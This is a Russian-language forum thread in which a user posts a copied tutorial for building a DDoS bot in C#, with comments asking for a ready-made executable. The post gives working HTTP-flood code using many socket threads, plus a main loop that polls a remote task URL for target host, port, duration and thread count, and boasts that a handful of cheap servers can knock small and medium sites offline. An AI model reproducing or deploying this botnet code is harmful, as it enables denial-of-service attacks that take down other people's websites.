Загрузка...

Пишем DDOS-бота на C#

Тема в разделе C# создана пользователем _Skill_ 24 окт 2018. 703 просмотра

Загрузка...
  1. _Skill_
    _Skill_ Автор темы 24 окт 2018 1015 25 июн 2018
    Всем здарова. Будем писать простого DDOS бота для личного пользования. Погнали!

    Создаем Ddos.cs

    В этой части реализовывать будем HTTP-flood на самом базовом уровне. Создаем класс Ddos и сразу прописываем нужные нам переменные и конструктор:
    Код
    private string HostName; // 127.0.0.
    private string Url; // http://127.0.0.1/index.php?god=ims0rry
    private int Port; // 80
    private bool Toggle = false; // Для отсчета времени ддоса

    public Ddos(string Host, string Url, int Port)
    {
    this.HostName = Host;
    this.Url = Url;
    this.Port = Port;
    }
    Для отчёта времени будем использовать простенький метод таймера:
    Код
    private void Timer(int minutes)
    for(int i = 0; i < minutes * 60; i++)
    {
    Thread.Sleep(1000);
    }
    Toggle = false;
    }
    Далее нужно разобраться с отправкой сокетов к серверу. Будем использовать сокеты (System.Net.Sockets):
    Код
    private void SendData()
    IPAddress Host = IPAddress.Parse(HostName);
    IPEndPoint Hostep = new IPEndPoint(Host, Port);
    while (Toggle)
    {
    try
    {
    Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    sock.Connect(Hostep);
    sock.Send(Encoding.UTF8.GetBytes(Url));
    sock.Send(Encoding.UTF8.GetBytes("\r\n"));
    sock.Close();
    }
    catch(Exception e)
    {
    new Thread(SendData).Start();
    }
    }
    }
    Теперь под это все нужно сделать обёртку:
    Код
    public void HttpFlood(int duration, int threads)
    {
    Toggle = true;
    while (threads > 0)
    {
    new Thread(SendData).Start();
    threads--;
    }
    new Thread(() => Timer(duration)).Start();
    }
    Program.cs

    Перед методом main прописываем переменные:
    Код
    private static string Url = ""; //Response:host;url;port;duration;threads 
    //Example: 54.207.60.36;http://54.207.60.36;80;10;1000
    Переменная Url должна содержать ссылку на страницу, где будут выкладываться таски для ботов, то может быть обычный текстовый файл, какая-то hand-made панелька - без разницы. Пример выдачи таска описан в комментарии. Также, самим уже можно прикрутить поддержку мультизадач и отстук в логгер/гейт об успешном принятии таска.

    Нам понадобиться метод, отправляющий Http-Get запрос:
    Код
    private static String Get(string Link)
    WebRequest request = WebRequest.Create(Link);
    request.Credentials = CredentialCache.DefaultCredentials;
    ((HttpWebRequest)request).UserAgent = "1M50RRY";
    WebResponse response = request.GetResponse();
    Stream dataStream = response.GetResponseStream();
    StreamReader reader = new StreamReader(dataStream);

    return reader.ReadToEnd();
    }
    В самом Main прописываем цыкл на получение таска и его исполнение:
    Код
    static void Main(string[] args)
    while (true)
    {
    String[] response = Get(Url).Split(';');
    try
    {
    Ddos Task = new Ddos(response[0], response[1], Int32.Parse(response[2]));
    Task.HttpFlood(Int32.Parse(response[3]), Int32.Parse(response[4]));
    }
    catch (Exception e)
    {
    Thread.Sleep(3000);
    }
    }
    }
    Результаты
    На 1000 потоков дедик стоимостью 8$ выдал следующий результат
    [IMG]
    На данном этапе, разместив бота на 10-100 дедиках, уже можно класть небольшие-средние сайтецы, имея доступ к их родному айпишнику.

    Пока всё, как-нибудь допишу.

    p.s. 1000 user-pc = 6 000 000 requests/second
    Всем спасибо, всем пока!
    Это паста, оригинал у этого чувака imsorry
     
    24 окт 2018 Изменено
  2. Sincerest
    Sincerest 24 окт 2018 Заблокирован(а) 318 8 янв 2017
    дал бы ехе шоли, многих название в тему позвало, а тут онли код.
     
  3. _Skill_
    _Skill_ Автор темы 24 окт 2018 1015 25 июн 2018
    Sincerest, завтра все будет
     
  4. swmf
    swmf 25 окт 2018 101 8 дек 2017
    _Skill_, тема сорика на другом борде, этому ддос боту уже пол года
     
  5. Checkerchin
    Checkerchin 25 окт 2018 178 16 апр 2017
    неплохая паста сорика
     
Top